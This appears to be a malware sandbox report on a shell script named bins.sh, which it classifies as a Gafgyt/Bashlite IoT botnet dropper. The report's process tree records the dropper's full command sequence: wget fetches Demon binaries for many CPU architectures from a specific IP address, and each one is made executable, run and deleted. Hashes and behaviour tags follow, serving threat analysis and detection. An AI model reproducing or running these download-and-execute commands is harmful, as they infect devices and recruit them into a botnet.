Overview

overview

10

Static

static

1

bins.sh

debian-12-armhf

7

bins.sh

debian-12-mipsel

7

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

bins.sh

ubuntu-18.04-amd64

10

bins.sh

ubuntu-20.04-amd64

10

bins.sh

ubuntu-22.04-amd64

10

bins.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    22s
  • max time network
    23s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19-10-2024 11:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    2KB

  • MD5

    a754f4cf9d6ba2d574cd90bf04d1bc35

  • SHA1

    b0191e89c26057b6132f3314fa685e1879c7dc62

  • SHA256

    bf9fa0c44e56d564d8675f89533c1930b9481597d1f0d09153757d595b8ddaa0

  • SHA512

    600b970d65a1b8d80e0c7e9808cff50fbb610762a97d619293b859383c85ff671a28793f49d8207c984ffe113c63dabfa66d3df4d922b32c79ce707b3393162f

Score
10/10
gafgytbotnetdefense_evasiondiscovery

Malware Config

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:728
      • /usr/bin/wget
        wget http://38.123.149.216/Demon.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:731
      • /bin/chmod
        chmod +x Demon.mips
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/Demon.mips
        ./Demon.mips
        2⤵
        • Executes dropped EXE
        • Reads system routing table
        • Changes its process name
        • Reads system network configuration
        • System Network Configuration Discovery
        PID:753
      • /bin/rm
        rm -rf Demon.mips
        2⤵
        • System Network Configuration Discovery
        PID:756
      • /usr/bin/wget
        wget http://38.123.149.216/Demon.mpsl
        2⤵
        • Writes file to tmp directory
        PID:758
      • /bin/chmod
        chmod +x Demon.mpsl
        2⤵
        • File and Directory Permissions Modification
        PID:762
      • /tmp/Demon.mpsl
        ./Demon.mpsl
        2⤵
          PID:763
        • /bin/rm
          rm -rf Demon.mpsl
          2⤵
            PID:765
          • /usr/bin/wget
            wget http://38.123.149.216/Demon.sh4
            2⤵
            • Writes file to tmp directory
            PID:766
          • /bin/chmod
            chmod +x Demon.sh4
            2⤵
            • File and Directory Permissions Modification
            PID:767
          • /tmp/Demon.sh4
            ./Demon.sh4
            2⤵
              PID:768
            • /bin/rm
              rm -rf Demon.sh4
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://38.123.149.216/Demon.x86
                2⤵
                • Writes file to tmp directory
                PID:771
              • /bin/chmod
                chmod +x Demon.x86
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/Demon.x86
                ./Demon.x86
                2⤵
                  PID:773
                • /bin/rm
                  rm -rf Demon.x86
                  2⤵
                    PID:775
                  • /usr/bin/wget
                    wget http://38.123.149.216/Demon.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:776
                  • /bin/chmod
                    chmod +x Demon.arm6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:777
                  • /tmp/Demon.arm6
                    ./Demon.arm6
                    2⤵
                      PID:778
                    • /bin/rm
                      rm -rf Demon.arm6
                      2⤵
                        PID:780
                      • /usr/bin/wget
                        wget http://38.123.149.216/Demon.i686
                        2⤵
                        • Writes file to tmp directory
                        PID:781
                      • /bin/chmod
                        chmod +x Demon.i686
                        2⤵
                        • File and Directory Permissions Modification
                        PID:786
                      • /tmp/Demon.i686
                        ./Demon.i686
                        2⤵
                          PID:787
                        • /bin/rm
                          rm -rf Demon.i686
                          2⤵
                            PID:790
                          • /usr/bin/wget
                            wget http://38.123.149.216/Demon.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:792
                          • /bin/chmod
                            chmod +x Demon.ppc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:800
                          • /tmp/Demon.ppc
                            ./Demon.ppc
                            2⤵
                              PID:801
                            • /bin/rm
                              rm -rf Demon.ppc
                              2⤵
                                PID:804
                              • /usr/bin/wget
                                wget http://38.123.149.216/Demon.i586
                                2⤵
                                • Writes file to tmp directory
                                PID:805
                              • /bin/chmod
                                chmod +x Demon.i586
                                2⤵
                                • File and Directory Permissions Modification
                                PID:812
                              • /tmp/Demon.i586
                                ./Demon.i586
                                2⤵
                                  PID:814
                                • /bin/rm
                                  rm -rf Demon.i586
                                  2⤵
                                    PID:817
                                  • /usr/bin/wget
                                    wget http://38.123.149.216/Demon.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:818
                                  • /bin/chmod
                                    chmod +x Demon.m68k
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:828
                                  • /tmp/Demon.m68k
                                    ./Demon.m68k
                                    2⤵
                                      PID:830
                                    • /bin/rm
                                      rm -rf Demon.m68k
                                      2⤵
                                        PID:833
                                      • /usr/bin/wget
                                        wget http://38.123.149.216/Demon.sparc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:835
                                      • /bin/chmod
                                        chmod +x Demon.sparc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:846
                                      • /tmp/Demon.sparc
                                        ./Demon.sparc
                                        2⤵
                                          PID:847
                                        • /bin/rm
                                          rm -rf Demon.sparc
                                          2⤵
                                            PID:849
                                          • /usr/bin/wget
                                            wget http://38.123.149.216/Demon.arm4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:851
                                          • /bin/chmod
                                            chmod +x Demon.arm4
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:852
                                          • /tmp/Demon.arm4
                                            ./Demon.arm4
                                            2⤵
                                              PID:853
                                            • /bin/rm
                                              rm -rf Demon.arm4
                                              2⤵
                                                PID:855
                                              • /usr/bin/wget
                                                wget http://38.123.149.216/Demon.arm5
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:856
                                              • /bin/chmod
                                                chmod +x Demon.arm5
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:857
                                              • /tmp/Demon.arm5
                                                ./Demon.arm5
                                                2⤵
                                                  PID:858
                                                • /bin/rm
                                                  rm -rf Demon.arm5
                                                  2⤵
                                                    PID:860
                                                  • /usr/bin/wget
                                                    wget http://38.123.149.216/Demon.arm7
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:861
                                                  • /bin/chmod
                                                    chmod +x Demon.arm7
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:862
                                                  • /tmp/Demon.arm7
                                                    ./Demon.arm7
                                                    2⤵
                                                      PID:863
                                                    • /bin/rm
                                                      rm -rf Demon.arm7
                                                      2⤵
                                                        PID:865
                                                      • /usr/bin/wget
                                                        wget http://38.123.149.216/Demon.ppc440fp
                                                        2⤵
                                                          PID:866
                                                        • /bin/chmod
                                                          chmod +x Demon.ppc440fp
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:867
                                                        • /tmp/Demon.ppc440fp
                                                          ./Demon.ppc440fp
                                                          2⤵
                                                            PID:868
                                                          • /bin/rm
                                                            rm -rf Demon.ppc440fp
                                                            2⤵
                                                              PID:869

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/Demon.mips
                                                            Filesize

                                                            211KB

                                                            MD5

                                                            455a2acf75de8da6ab7c4d9564cc69f9

                                                            SHA1

                                                            9e6016c6581289e685bcd6392bbf0bcf6b1182ff

                                                            SHA256

                                                            b08dea7aae12f248b7730af3c8f924dd67d3251d78df15a9dfb75e5d961df152

                                                            SHA512

                                                            a76b00d7f684d762ea9d5fa60d579d70b8bdfe75faedb59baae6ffb676d25d57826cde4a639c0b32dfcc3288a965591e148a489e6259910e3e0dbee90ccadeab

                                                            Download Submit